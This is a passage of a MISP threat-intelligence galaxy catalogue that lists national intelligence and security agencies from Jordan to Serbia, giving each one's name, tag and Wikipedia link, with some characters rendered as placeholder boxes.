https://en.wikipedia.org/wiki/Public_Security_Intelligence_Agency

Dairat al-Mukhabarat al-Ammah

General Intelligence Department (GID) - (Da’irat al-Mukhabarat al-’Ammah)

The tag is: *misp-galaxy:intelligence-agency="Dairat al-Mukhabarat al-Ammah"*

Table 1883. Table References

Links
https://en.wikipedia.org/wiki/Dairat_al-Mukhabarat_al-Ammah

National Intelligence Service (Kenya)

National Intelligence Service(NIS)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Service (Kenya)"*

Table 1884. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Service_(Kenya)

Criminal Investigation Department (Kenya)

Directorate of Criminal Investigation(DCI)

The tag is: *misp-galaxy:intelligence-agency="Criminal Investigation Department (Kenya)"*

Table 1885. Table References

Links
https://en.wikipedia.org/wiki/Criminal_Investigation_Department_(Kenya)

Military Intelligence(MI)

Military Intelligence(MI)

The tag is: *misp-galaxy:intelligence-agency="Military Intelligence(MI)"*

Table 1886. Table References

Links
https://en.wikipedia.orghttps://mod.go.ke/reports/cdf-opens-military-intelligence-corps-headquarters/

State Committee for National Security (Kyrgyzstan)

State Committee for National Security (UKMK/GKNB)

The tag is: *misp-galaxy:intelligence-agency="State Committee for National Security (Kyrgyzstan)"*

Table 1887. Table References

Links
https://en.wikipedia.org/wiki/State_Committee_for_National_Security_(Kyrgyzstan)

General Directorate of General Security

General Directorate of General Security

The tag is: *misp-galaxy:intelligence-agency="General Directorate of General Security"*

Table 1888. Table References

Links
https://en.wikipedia.org/wiki/General_Directorate_of_General_Security

The Information Branch

The Information Branch

The tag is: *misp-galaxy:intelligence-agency="The Information Branch"*

Table 1889. Table References

Links
https://en.wikipedia.org/wiki/The_Information_Branch

Lebanese State Security

Lebanese State Security

The tag is: *misp-galaxy:intelligence-agency="Lebanese State Security"*

Table 1890. Table References

Links
https://en.wikipedia.org/wiki/Lebanese_State_Security

National Security Agency (Liberia)

National Security Agency

The tag is: *misp-galaxy:intelligence-agency="National Security Agency (Liberia)"*

Table 1891. Table References

Links
https://en.wikipedia.org/wiki/National_Security_Agency_(Liberia)

State Security Department of Lithuania

State Security Department - (Valstybes saugumo departamentas (VSD))

The tag is: *misp-galaxy:intelligence-agency="State Security Department of Lithuania"*

Table 1892. Table References

Links
https://en.wikipedia.org/wiki/State_Security_Department_of_Lithuania

Second Investigation Department

Second Investigation Department - (Antrasis operatyvinių tarnybų departamentas (AOTD))

The tag is: *misp-galaxy:intelligence-agency="Second Investigation Department"*

Table 1893. Table References

Links

https://en.wikipedia.org/wiki/Second_Investigation_Department

Service de Renseignement de l'État

Luxembourg State Intelligence Service - (Service de Renseignement de l'État Luxembourgeois)

The tag is: *misp-galaxy:intelligence-agency="Service de Renseignement de l'État"*

Table 1894. Table References

Links
https://en.wikipedia.org/wiki/Service_de_Renseignement_de_l%E2%80%99%C3%89tat

Central Intelligence Service (CIS)[15]

Central Intelligence Service (CIS)[15]

The tag is: *misp-galaxy:intelligence-agency="Central Intelligence Service (CIS)[15]"*

Table 1895. Table References

Links
https://en.wikipedia.org#cite_note-15

Malaysian Defence Intelligence Organisation

Malaysian Defence Intelligence Organisation (Military Intelligence)[16]

The tag is: *misp-galaxy:intelligence-agency="Malaysian Defence Intelligence Organisation"*

Table 1896. Table References

Links
https://en.wikipedia.org/wiki/Malaysian_Defence_Intelligence_Organisation

Research Division of the Prime Minister's Department

Malaysian External Intelligence Organisation (Foreign Intelligence)

The tag is: *misp-galaxy:intelligence-agency="Research Division of the Prime Minister's Department"*

Table 1897. Table References

Links
https://en.wikipedia.org/wiki/Research_Division_of_the_Prime_Minister%27s_Department

Malaysian Special Branch

Malaysian Special Branch (Police & Internal Intelligence)[17]

The tag is: *misp-galaxy:intelligence-agency="Malaysian Special Branch"*

Table 1898. Table References

Links
https://en.wikipedia.org/wiki/Malaysian_Special_Branch

Crime-Combat Planning, Analysis and Information Center (CENAPI / PGR – Centro de Planeación, Análisis e Información para el Combate a la Delincuencia)

Crime-Combat Planning, Analysis and Information Center (CENAPI / PGR – Centro de Planeación, Análisis e Información para el Combate a la Delincuencia)

The tag is: *misp-galaxy:intelligence-agency="Crime-Combat Planning, Analysis and Information Center (CENAPI / PGR – Centro de Planeación, Análisis e Información para el Combate a la Delincuencia)"*

Assistant Attorney General's Office for Special Investigations on Organized Crime

Assistant Attorney General's Office for Special Investigations on Organized Crime (SEIDO / PGR)

The tag is: *misp-galaxy:intelligence-agency="Assistant Attorney General's Office for Special Investigations on Organized Crime"*

Table 1899. Table References

Links
https://en.wikipedia.org/wiki/Assistant_Attorney_General%27s_Office_for_Special_Investigations_on_Organized_Crime

Federal Police (Mexico)

Intelligence Division of the Federal Police (Division de Inteligencia – CNS / Policia Federal)

The tag is: *misp-galaxy:intelligence-agency="Federal Police (Mexico)"*

Table 1900. Table References

Links
https://en.wikipedia.org/wiki/Federal_Police_(Mexico)#Intelligence_Division

National Intelligence Centre (México)

National Intelligence Centre (CNI)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Centre (México)"*

Table 1901. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Centre_(M%C3%A9xico)

Estado Mayor Presidencial

2nd Section of the National Defense Intelligence Staff (SEDENA S-2 – Seccion 2da: Inteligencia del Estado Mayor)

The tag is: *misp-galaxy:intelligence-agency="Estado Mayor Presidencial"*

Table 1902. Table References

Links
https://en.wikipedia.org/wiki/Estado_Mayor_Presidencial

SEDENA

Military Intelligence – National Defense Ministry (Inteligencia Militar – SEDENA / Ejercito y Fuerza Aerea)

The tag is: *misp-galaxy:intelligence-agency="SEDENA"*

Table 1903. Table References

Links
https://en.wikipedia.org/wiki/SEDENA

Secretariat of the Navy

Naval Intelligence - (Inteligencia Naval / SEMAR / Marina Armada)

The tag is: *misp-galaxy:intelligence-agency="Secretariat of the Navy"*

Table 1904. Table References

Links
https://en.wikipedia.org/wiki/Secretariat_of_the_Navy

Information and Security Service of the Republic of Moldova

Information and Security Service (SIS)[18]

The tag is: *misp-galaxy:intelligence-agency="Information and Security Service of the Republic of Moldova"*

Table 1905. Table References

Links
https://en.wikipedia.org/wiki/Information_and_Security_Service_of_the_Republic_of_Moldova

General Intelligence Agency of Mongolia

General Intelligence Agency of Mongolia (GIA)

The tag is: *misp-galaxy:intelligence-agency="General Intelligence Agency of Mongolia"*

Table 1906. Table References

Links
https://en.wikipedia.org/wiki/General_Intelligence_Agency_of_Mongolia

National Security Agency (Montenegro)

National Security Agency (ANB)

The tag is: *misp-galaxy:intelligence-agency="National Security Agency (Montenegro)"*

Table 1907. Table References

Links
https://en.wikipedia.org/wiki/National_Security_Agency_(Montenegro)

General Directorate for Territorial Surveillance (Morocco)

General Directorate for Territorial Surveillance - Direction de la Surveillance du Territoire (DST)

The tag is: *misp-galaxy:intelligence-agency="General Directorate for Territorial Surveillance (Morocco)"*

Table 1908. Table References

Links
https://en.wikipedia.org/wiki/General_Directorate_for_Territorial_Surveillance_(Morocco)

Deuxième Bureau (Morocco)

Deuxième Bureau (Morocco) - Military secret service[19]

The tag is: *misp-galaxy:intelligence-agency="Deuxième Bureau (Morocco)"*

Table 1909. Table References

Links
https://en.wikipedia.org/wiki/Deuxi%C3%A8me_Bureau_(Morocco)

Direction Generale pour l'Etude et la Documentation

Directorate of Research and Documentation - Direction Generale pour l'Etude et la Documentation (DGED)

The tag is: *misp-galaxy:intelligence-agency="Direction Generale pour l'Etude et la Documentation"*

Table 1910. Table References

Links
https://en.wikipedia.org/wiki/Direction_Generale_pour_l%27Etude_et_la_Documentation

Office of the Chief of Military Security Affairs

Office of the Chief of Military Security Affairs (OCMSA)

The tag is: *misp-galaxy:intelligence-agency="Office of the Chief of Military Security Affairs"*

Table 1911. Table References

Links
https://en.wikipedia.org/wiki/Office_of_the_Chief_of_Military_Security_Affairs

Bureau Of Special Investigation

Bureau Of Special Investigation (BSI)

The tag is: *misp-galaxy:intelligence-agency="Bureau Of Special Investigation"*

Table 1912. Table References

Links
https://en.wikipedia.org/wiki/Bureau_Of_Special_Investigation

Special Intelligence Department

Special Intelligence Department (SID)

The tag is: *misp-galaxy:intelligence-agency="Special Intelligence Department"*

Table 1913. Table References

Links
https://en.wikipedia.org/wiki/Special_Intelligence_Department

Namibia Central Intelligence Service

Namibia Central Intelligence Service (NCIS)

The tag is: *misp-galaxy:intelligence-agency="Namibia Central Intelligence Service"*

Table 1914. Table References

Links
https://en.wikipedia.org/wiki/Namibia_Central_Intelligence_Service

Directorate of Military Intelligence, Nepal

Directorate of Military Intelligence (DMI)

The tag is: *misp-galaxy:intelligence-agency="Directorate of Military Intelligence, Nepal"*

Table 1915. Table References

Links
https://en.wikipedia.org/wiki/Directorate_of_Military_Intelligence,_Nepal

National Investigation Department of Nepal

National Investigation Department (NID)

The tag is: *misp-galaxy:intelligence-agency="National Investigation Department of Nepal"*

Table 1916. Table References

Links
https://en.wikipedia.org/wiki/National_Investigation_Department_of_Nepal

General Intelligence and Security Service

General Intelligence and Security Service - Algemene Inlichtingen en Veiligheidsdienst (AIVD)

The tag is: *misp-galaxy:intelligence-agency="General Intelligence and Security Service"*

Table 1917. Table References

Links

https://en.wikipedia.org/wiki/General_Intelligence_and_Security_Service

Joint Sigint Cyber Unit

Joint Sigint Cyber Unit (JSCU)

The tag is: *misp-galaxy:intelligence-agency="Joint Sigint Cyber Unit"*

Table 1918. Table References

Links
https://en.wikipedia.org/wiki/Joint_Sigint_Cyber_Unit

National Coordinator for Counterterrorism and Security

National Coordinator for Counterterrorism and Security - Nationaal Coördinator Terrorismebestrijding en Veiligheid (NCTV)

The tag is: *misp-galaxy:intelligence-agency="National Coordinator for Counterterrorism and Security"*

National Coordinator for Counterterrorism and Security is also known as:

- Nationaal Coördinator Terrorismebestrijding en Veiligheid

Table 1919. Table References

Links
https://en.wikipedia.org/wiki/National_Coordinator_for_Counterterrorism_and_Security

Team Criminal Intelligence (KMar-TCI)

Team Criminal Intelligence (KMar-TCI)

The tag is: *misp-galaxy:intelligence-agency="Team Criminal Intelligence (KMar-TCI)"*

Team Criminal Intelligence (FIOD-TCI)

Team Criminal Intelligence (FIOD-TCI)

The tag is: *misp-galaxy:intelligence-agency="Team Criminal Intelligence (FIOD-TCI)"*

Government Communications Security Bureau

Government Communications Security Bureau[20]

The tag is: *misp-galaxy:intelligence-agency="Government Communications Security Bureau"*

Table 1920. Table References

Links
https://en.wikipedia.org/wiki/Government_Communications_Security_Bureau

New Zealand Security Intelligence Service

New Zealand Security Intelligence Service[20]

The tag is: *misp-galaxy:intelligence-agency="New Zealand Security Intelligence Service"*

Table 1921. Table References

Links
https://en.wikipedia.org/wiki/New_Zealand_Security_Intelligence_Service

National Assessments Bureau

National Assessments Bureau[20]

The tag is: *misp-galaxy:intelligence-agency="National Assessments Bureau"*

Table 1922. Table References

Links
https://en.wikipedia.org/wiki/National_Assessments_Bureau

National Intelligence Agency (Nigeria)

National Intelligence Agency (Foreign Intelligence and Counterintelligence)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Agency (Nigeria)"*

Table 1923. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Agency_(Nigeria)

Defence Intelligence Agency (Nigeria)

Defence Intelligence Agency (Military Intelligence)

The tag is: *misp-galaxy:intelligence-agency="Defence Intelligence Agency (Nigeria)"*

Table 1924. Table References

Links
https://en.wikipedia.org/wiki/Defence_Intelligence_Agency_(Nigeria)

State Security Service (Nigeria)

State Security Service (Internal Security)

The tag is: *misp-galaxy:intelligence-agency="State Security Service (Nigeria)"*

Table 1925. Table References

Links
https://en.wikipedia.org/wiki/State_Security_Service_(Nigeria)

Reconnaissance General Bureau

Reconnaissance General Bureau[21]

The tag is: *misp-galaxy:intelligence-agency="Reconnaissance General Bureau"*

Table 1926. Table References

Links
https://en.wikipedia.org/wiki/Reconnaissance_General_Bureau

Ministry of State Security (North Korea)

Ministry of State Security[22]

The tag is: *misp-galaxy:intelligence-agency="Ministry of State Security (North Korea)"*

Table 1927. Table References

Links
https://en.wikipedia.org/wiki/Ministry_of_State_Security_(North_Korea)

Administration for Security and Counterintelligence

Administration for Security and Counterintelligence (Uprava za bezbednost i kontrarazuznavanje) (Police Agency)

The tag is: *misp-galaxy:intelligence-agency="Administration for Security and Counterintelligence"*

Administration for Security and Counterintelligence is also known as:

- Uprava za bezbednost i kontrarazuznavanje

Table 1928. Table References

Links
https://en.wikipedia.org/wiki/Administration_for_Security_and_Counterintelligence

Intelligence Agency of North Macedonia

Intelligence Agency (Agencija za Razuznavanje) (Civilian Agency) IA

The tag is: *misp-galaxy:intelligence-agency="Intelligence Agency of North Macedonia"*

Intelligence Agency of North Macedonia is also known as:

- Agencija za Razuznavanje

Table 1929. Table References

Links
https://en.wikipedia.org/wiki/Intelligence_Agency_of_North_Macedonia

Military Service for Security and Intelligence

Military Service for Security and Intelligence (Voena služba za razuznuvanje i bezbednost) (Military Agency) [1]

The tag is: *misp-galaxy:intelligence-agency="Military Service for Security and Intelligence"*

Military Service for Security and Intelligence is also known as:

- Voena služba za razuznuvanje i bezbednost

Table 1930. Table References

Links
https://en.wikipedia.org/wiki/Military_Service_for_Security_and_Intelligence

Nasjonal sikkerhetsmyndighet

Nasjonal sikkerhetsmyndighet (NSM) (National Security Authority)

The tag is: *misp-galaxy:intelligence-agency="Nasjonal sikkerhetsmyndighet"*

Table 1931. Table References

Links
https://en.wikipedia.org/wiki/Nasjonal_sikkerhetsmyndighet

Politiets sikkerhetstjeneste

Politiets sikkerhetstjeneste (PST) (Police Security Service)

The tag is: *misp-galaxy:intelligence-agency="Politiets sikkerhetstjeneste"*

Table 1932. Table References

Links
https://en.wikipedia.org/wiki/Politiets_sikkerhetstjeneste

Etterretningstjenesten

Etterretningstjenesten (NIS) (Norwegian Intelligence Service)

The tag is: *misp-galaxy:intelligence-agency="Etterretningstjenesten"*

Table 1933. Table References

Links
https://en.wikipedia.org/wiki/Etterretningstjenesten

Forsvarets sikkerhetstjeneste

Forsvarets sikkerhetstjeneste (FOST) – Norwegian Defence Security Service (NORDSS)

The tag is: *misp-galaxy:intelligence-agency="Forsvarets sikkerhetstjeneste"*

Table 1934. Table References

Links
https://en.wikipedia.org/wiki/Forsvarets_sikkerhetstjeneste

Palace Office (Oman)

The Palace Office [Foreign Intelligence]

The tag is: *misp-galaxy:intelligence-agency="Palace Office (Oman)"*

Table 1935. Table References

Links
https://en.wikipedia.org/wiki/Palace_Office_(Oman)

Internal Security Service

Internal Security Service [Internal Security]

The tag is: *misp-galaxy:intelligence-agency="Internal Security Service"*

Table 1936. Table References

Links
https://en.wikipedia.org/wiki/Internal_Security_Service

Inter-Services Intelligence

Inter-Services Intelligence (ISI)

The tag is: *misp-galaxy:intelligence-agency="Inter-Services Intelligence"*

Table 1937. Table References

Links
https://en.wikipedia.org/wiki/Inter-Services_Intelligence

Air Intelligence (Pakistan)

Air Intelligence (AI)

The tag is: *misp-galaxy:intelligence-agency="Air Intelligence (Pakistan)"*

Table 1938. Table References

Links
https://en.wikipedia.org/wiki/Air_Intelligence_(Pakistan)

Military Intelligence (Pakistan)

Military Intelligence (MI)

The tag is: *misp-galaxy:intelligence-agency="Military Intelligence (Pakistan)"*

Table 1939. Table References

Links
https://en.wikipedia.org/wiki/Military_Intelligence_(Pakistan)

Naval Intelligence (Pakistan)

Naval Intelligence (NI)

The tag is: *misp-galaxy:intelligence-agency="Naval Intelligence (Pakistan)"*

Table 1940. Table References

Links
https://en.wikipedia.org/wiki/Naval_Intelligence_(Pakistan)

Intelligence Bureau (Pakistan)

Intelligence Bureau (IB)

The tag is: *misp-galaxy:intelligence-agency="Intelligence Bureau (Pakistan)"*

Table 1941. Table References

Links
https://en.wikipedia.org/wiki/Intelligence_Bureau_(Pakistan)

Federal Investigation Agency

Federal Investigation Agency (FIA)

The tag is: *misp-galaxy:intelligence-agency="Federal Investigation Agency"*

Table 1942. Table References

Links
https://en.wikipedia.org/wiki/Federal_Investigation_Agency

National Counter Terrorism Authority

National Counter Terrorism Authority (NACTA)

The tag is: *misp-galaxy:intelligence-agency="National Counter Terrorism Authority"*

Table 1943. Table References

Links
https://en.wikipedia.org/wiki/National_Counter_Terrorism_Authority

Counter Terrorism Department (Pakistan)

Counter Terrorism Department (CTD)

The tag is: *misp-galaxy:intelligence-agency="Counter Terrorism Department (Pakistan)"*

Table 1944. Table References

Links
https://en.wikipedia.org/wiki/Counter_Terrorism_Department_(Pakistan)

National Intelligence Directorate (Pakistan)

National Intelligence Directorate (NID)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Directorate (Pakistan)"*

Table 1945. Table References

Links

https://en.wikipedia.org/wiki/National_Intelligence_Directorate_(Pakistan)

Special Branch (Pakistan)

Special Branch (Pakistan)

The tag is: *misp-galaxy:intelligence-agency="Special Branch (Pakistan)"*

Table 1946. Table References

Links
https://en.wikipedia.org/wiki/Special_Branch_(Pakistan)

Directorate General of Intelligence and Investigation

Directorate-General of Intelligence and Investigation (DGII)

The tag is: *misp-galaxy:intelligence-agency="Directorate General of Intelligence and Investigation"*

Table 1947. Table References

Links
https://en.wikipedia.org/wiki/Directorate_General_of_Intelligence_and_Investigation

Financial Monitoring Unit

Financial Monitoring Unit (FMU)

The tag is: *misp-galaxy:intelligence-agency="Financial Monitoring Unit"*

Table 1948. Table References

Links
https://en.wikipedia.org/wiki/Financial_Monitoring_Unit

National Accountability Bureau

National Accountability Bureau (NAB)

The tag is: *misp-galaxy:intelligence-agency="National Accountability Bureau"*

Table 1949. Table References

Links
https://en.wikipedia.org/wiki/National_Accountability_Bureau

Security and Exchange Commission of Pakistan

Security and Exchange Commission Pakistan (SECP)

The tag is: *misp-galaxy:intelligence-agency="Security and Exchange Commission of Pakistan"*

Table 1950. Table References

Links
https://en.wikipedia.org/wiki/Security_and_Exchange_Commission_of_Pakistan

Anti-Narcotics Force

Anti-Narcotics Force (ANF)

The tag is: *misp-galaxy:intelligence-agency="Anti-Narcotics Force"*

Table 1951. Table References

Links
https://en.wikipedia.org/wiki/Anti-Narcotics_Force

National Crises Management Cell

National Crises Management Cell (NCMC)

The tag is: *misp-galaxy:intelligence-agency="National Crises Management Cell"*

Table 1952. Table References

Links
https://en.wikipedia.org/wiki/National_Crises_Management_Cell

Palestinian Preventive Security

Palestinian Preventive Security (internal security)

The tag is: *misp-galaxy:intelligence-agency="Palestinian Preventive Security"*

Table 1953. Table References

Links
https://en.wikipedia.org/wiki/Palestinian_Preventive_Security

Palestinian National Security Forces

Palestinian National Security Forces

The tag is: *misp-galaxy:intelligence-agency="Palestinian National Security Forces"*

Table 1954. Table References

Links
https://en.wikipedia.org/wiki/Palestinian_National_Security_Forces

National Police Intelligence Directorate

National Police Intelligence Directorate (DNIP) – Dirección Nacional de Inteligencia Policial

The tag is: *misp-galaxy:intelligence-agency="National Police Intelligence Directorate"*

Table 1955. Table References

Links
https://en.wikipedia.org/wiki/National_Police_Intelligence_Directorate

General Directorate of Analysis and Strategic Intelligence (Panama) (page does not exist)

General Directorate of Analysis and Strategic Intelligence - Direccion General de Analisis e Inteligencia Estrategica (DGAIE)[23]

The tag is: *misp-galaxy:intelligence-agency="General Directorate of Analysis and Strategic Intelligence (Panama) (page does not exist)"*

Table 1956. Table References

Links
https://en.wikipedia.org/w/index.php?title=General_Directorate_of_Analysis_and_Strategic_Intelligence_(Panama)&action=edit&redlink=1

National Intelligence and Security Service (Panama) (page does not exist)

National Intelligence and Security Service - Servicio Nacional de Inteligencia y Seguridad (SENIS)[24]

The tag is: *misp-galaxy:intelligence-agency="National Intelligence and Security Service (Panama) (page does not exist)"*

Table 1957. Table References

Links
https://en.wikipedia.org/w/index.php?title=National_Intelligence_and_Security_Service_(Panama)&action=edit&redlink=1

National Intelligence Organization (Papua New Guinea)

National Intelligence Organization (NIO)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Organization (Papua New Guinea)"*

Table 1958. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Organization_(Papua_New_Guinea)

National Directorate of Intelligence (Peru)

National Directorate of Intelligence - Dirección Nacional de Inteligencia (DINI)

The tag is: *misp-galaxy:intelligence-agency="National Directorate of Intelligence (Peru)"*

Table 1959. Table References

Links
https://en.wikipedia.org/wiki/National_Directorate_of_Intelligence_(Peru)

National Intelligence Coordinating Agency

National Intelligence Coordinating Agency (NICA) – Pambansang Ahensiya sa Ugnayang Intelihensiya

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Coordinating Agency"*

National Intelligence Coordinating Agency is also known as:

- Pambansang Ahensiya sa Ugnayang Intelihensiya

Table 1960. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Coordinating_Agency

National Bureau of Investigation (Philippines)

National Bureau of Investigation (NBI) – Pambansang Kawanihan ng Pagsisiyasat

The tag is: *misp-galaxy:intelligence-agency="National Bureau of Investigation (Philippines)"*

National Bureau of Investigation (Philippines) is also known as:

- Pambansang Kawanihan ng Pagsisiyasat

Table 1961. Table References

Links
https://en.wikipedia.org/wiki/National_Bureau_of_Investigation_(Philippines)

Agencja Wywiadu

Foreign Intelligence Agency - Agencja Wywiadu (AW)

The tag is: *misp-galaxy:intelligence-agency="Agencja Wywiadu"*

Table 1962. Table References

Links
https://en.wikipedia.org/wiki/Agencja_Wywiadu

Agencja Bezpieczeństwa Wewnętrznego

Internal Security Agency - Agencja Bezpieczeństwa Wewnętrznego (ABW)

The tag is: *misp-galaxy:intelligence-agency="Agencja Bezpieczeństwa Wewnętrznego"*

Table 1963. Table References

Links
https://en.wikipedia.org/wiki/Agencja_Bezpiecze%C5%84stwa_Wewn%C4%99trznego

Służba Wywiadu Wojskowego (page does not exist)

Military Intelligence Service - Służba Wywiadu Wojskowego (SWW)

The tag is: *misp-galaxy:intelligence-agency="Służba Wywiadu Wojskowego (page does not exist)"*

Table 1964. Table References

Links
https://en.wikipedia.org/w/index.php?title=S%C5%82u%C5%BCba_Wywiadu_Wojskowego&action=edit&redlink=1

Służba Kontrwywiadu Wojskowego

Military Counter-intelligence Service - Służba Kontrwywiadu Wojskowego (SKW)

The tag is: *misp-galaxy:intelligence-agency="Służba Kontrwywiadu Wojskowego"*

Table 1965. Table References

Links

https://en.wikipedia.org/wiki/S%C5%82u%C5%BCba_Kontrwywiadu_Wojskowego

Border Guard (Poland)

Operations and Investigations Directorate of the Border Guard Headquarters - Zarząd Operacyjno-Śledczy Komendy Głównej Straży Granicznej (KGSG, ZOŚ, KGSG)

The tag is: *misp-galaxy:intelligence-agency="Border Guard (Poland)"*

Table 1966. Table References

Links
https://en.wikipedia.org/wiki/Border_Guard_(Poland)

Serviço de Informações de Segurança

Security Intelligence Service - Serviço de Informações de Segurança (SIS)

The tag is: *misp-galaxy:intelligence-agency="Serviço de Informações de Segurança"*

Table 1967. Table References

Links
https://en.wikipedia.org/wiki/Servi%C3%A7o_de_Informa%C3%A7%C3%B5es_de_Seguran%C3%A7a

Serviço de Informações Estratégicas de Defesa

Defense Strategic Intelligence Service - Serviço de Informações Estratégicas de Defesa (SIED)

The tag is: *misp-galaxy:intelligence-agency="Serviço de Informações Estratégicas de Defesa"*

Table 1968. Table References

Links
https://en.wikipedia.org/wiki/Servi%C3%A7o_de_Informa%C3%A7%C3%B5es_Estrat%C3%A9gicas_de_Defesa

CISMIL

Military Intelligence and Security Service - Centro de Informações e Segurança Militares (CISMIL)

The tag is: *misp-galaxy:intelligence-agency="CISMIL"*

Table 1969. Table References

Links
https://en.wikipedia.org/wiki/CISMIL

Qatar State Security

Qatar State Security

The tag is: *misp-galaxy:intelligence-agency="Qatar State Security"*

Table 1970. Table References

Links
https://en.wikipedia.org/wiki/Qatar_State_Security

Romanian Intelligence Service

Romanian Intelligence Service (SRI) – Serviciul Român de Informa□ii

The tag is: *misp-galaxy:intelligence-agency="Romanian Intelligence Service"*

Romanian Intelligence Service is also known as:

- Serviciul Român de Informa□ii

Table 1971. Table References

Links
https://en.wikipedia.org/wiki/Romanian_Intelligence_Service

Foreign Intelligence Service (Romania)

Foreign Intelligence Service (SIE) – Serviciul de Informa□ii Externe

The tag is: *misp-galaxy:intelligence-agency="Foreign Intelligence Service (Romania)"*

Foreign Intelligence Service (Romania) is also known as:

- Serviciul de Informa□ii Externe

Table 1972. Table References

Links
https://en.wikipedia.org/wiki/Foreign_Intelligence_Service_(Romania)

Serviciul de Telecomunica□ii Speciale

Special Telecommunication Service (STS) – Serviciul de Telecomunica□ii Speciale

The tag is: *misp-galaxy:intelligence-agency="Serviciul de Telecomunica□ii Speciale"*

Table 1973. Table References

Links

https://en.wikipedia.org/wiki/Serviciul_de_Telecomunica%C8%9Bii_Speciale

Direc□ia Generală de Informa□ii a Apărării

General Directorate for Defense Intelligence (DGIA) – Direc□ia Generală de Informa□ii a Apărării

The tag is: *misp-galaxy:intelligence-agency="Direc□ia Generală de Informa□ii a Apărării"*

Table 1974. Table References

Links
https://en.wikipedia.org/wiki/Direc%C8%9Bia_General%C4%83_de_Informa%C8%9Bii_a_Ap%C4%83r%C4%83rii

Direc□ia Generală de Informa□ii □i Protec□ie Internă

General Directorate for Internal Security (DGPI) – Direc□ia Generală de Protec□ie Internă

The tag is: *misp-galaxy:intelligence-agency="Direc□ia Generală de Informa□ii □i Protec□ie Internă"*

Direc□ia Generală de Informa□ii □i Protec□ie Internă is also known as:

- Direc□ia Generală de Protec□ie Internă

Table 1975. Table References

Links
https://en.wikipedia.org/wiki/Direc%C8%9Bia_General%C4%83_de_Informa%C8%9Bii_%C8%99i_Protec%C8%9Bie_Intern%C4%83

Federal Security Service (Russia)

Federal Security Service (FSB) – Федеральная служба безопасности

The tag is: *misp-galaxy:intelligence-agency="Federal Security Service (Russia)"*

Federal Security Service (Russia) is also known as:

- Федеральная служба безопасности

Table 1976. Table References

Links
https://en.wikipedia.org/wiki/Federal_Security_Service_(Russia)

Main Directorate of Special Programs of the President of the Russian Federation

Main Directorate of Special Programs of the President of the Russian Federation (GUSP) – Главное управление специальных программ Президента Российской Федерации

The tag is: *misp-galaxy:intelligence-agency="Main Directorate of Special Programs of the President of the Russian Federation"*

Main Directorate of Special Programs of the President of the Russian Federation is also known as:

- Главное управление специальных программ Президента Российской Федерации

Table 1977. Table References

Links
https://en.wikipedia.org/wiki/Main_Directorate_of_Special_Programs_of_the_President_of_the_Russian_Federation

Foreign Intelligence Service (Russia)

Foreign Intelligence Service (Russia) (SVR) – Служба Внешней Разведки

The tag is: *misp-galaxy:intelligence-agency="Foreign Intelligence Service (Russia)"*

Foreign Intelligence Service (Russia) is also known as:

- Служба Внешней Разведки

Table 1978. Table References

Links
https://en.wikipedia.org/wiki/Foreign_Intelligence_Service_(Russia)

GRU (Russian Federation)

Main Intelligence Directorate (GRU) – Главное Разведывательное Управление

The tag is: *misp-galaxy:intelligence-agency="GRU (Russian Federation)"*

GRU (Russian Federation) is also known as:

- Главное Разведывательное Управление

Table 1979. Table References

Links
https://en.wikipedia.org/wiki/GRU_(Russian_Federation)

Special Communications Service of Russia

Special Communications Service of Russia – Служба специальной связи и информации

The tag is: *misp-galaxy:intelligence-agency="Special Communications Service of Russia"*

Special Communications Service of Russia is also known as:

- Служба специальной связи и информации

Table 1980. Table References

Links
https://en.wikipedia.org/wiki/Special_Communications_Service_of_Russia

National Intelligence and Security Service (Rwanda)

National Intelligence and Security Service (Rwanda)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence and Security Service (Rwanda)"*

Table 1981. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_and_Security_Service_(Rwanda)

Council of Political and Security Affairs (Saudi Arabia)

Council of Political and Security Affairs (CPSA) – □□□□ □□□□□□ □□□□□□□□□ □□□□□□□□

The tag is: *misp-galaxy:intelligence-agency="Council of Political and Security Affairs (Saudi Arabia)"*

Table 1982. Table References

Links
https://en.wikipedia.org/wiki/Council_of_Political_and_Security_Affairs_(Saudi_Arabia)

Al Mukhabarat Al A’amah

General Intelligence Presidency (GIP) – □□□□□ □□□□□□□□□□□□ □□□□□□

The tag is: *misp-galaxy:intelligence-agency="Al Mukhabarat Al A’amah"*

Table 1983. Table References

Links
https://en.wikipedia.org/wiki/Al_Mukhabarat_Al_A%27amah

Mabahith

Mabahith (GDI) – □□□□□□□ □□□□□□

The tag is: *misp-galaxy:intelligence-agency="Mabahith"*

Table 1984. Table References

Links
https://en.wikipedia.org/wiki/Mabahith

Saudi Arabian Border Guards

Saudi Arabia Border Guards Intelligence Directorate – □□□□□□□□□ □□□ □□□□□□

The tag is: *misp-galaxy:intelligence-agency="Saudi Arabian Border Guards"*

Table 1985. Table References

Links
https://en.wikipedia.org/wiki/Saudi_Arabian_Border_Guards

The National Cyber Security Commission[25] (NCSC) – □□□□□□ □□□□□□□ □□□□□ □□□□□□□□□□

The National Cyber Security Commission[25] (NCSC) – □□□□□□ □□□□□□□ □□□□□ □□□□□□□□□□

The tag is: *misp-galaxy:intelligence-agency="The National Cyber Security Commission[25] (NCSC) – □□□□□□ □□□□□□□ □□□□□ □□□□□□□□□□"*

Table 1986. Table References

Links
https://en.wikipedia.org#cite_note-25

Security Intelligence Agency

Security Intelligence Agency – Безбедносно-информативна агенција (BIA)

The tag is: *misp-galaxy:intelligence-agency="Security Intelligence Agency"*

Table 1987. Table References

Links
https://en.wikipedia.org/wiki/Security_Intelligence_Agency

Military Security Agency (Serbia)

Military Security Agency – Војнобезбедносна агенција (VBA)

The tag is: *misp-galaxy:intelligence-agency="Military Security Agency (Serbia)"*

Table 1988. Table References

Links
https://en.wikipedia.org/wiki/Military_Security_Agency_(Serbia)

Vojnoobaveštajna agencija

Military Intelligence Agency – Војнообавештајна агенција (VOA)

The tag is: *misp-galaxy:intelligence-agency="Vojnoobaveštajna agencija"*

Table 1989. Table References

Links
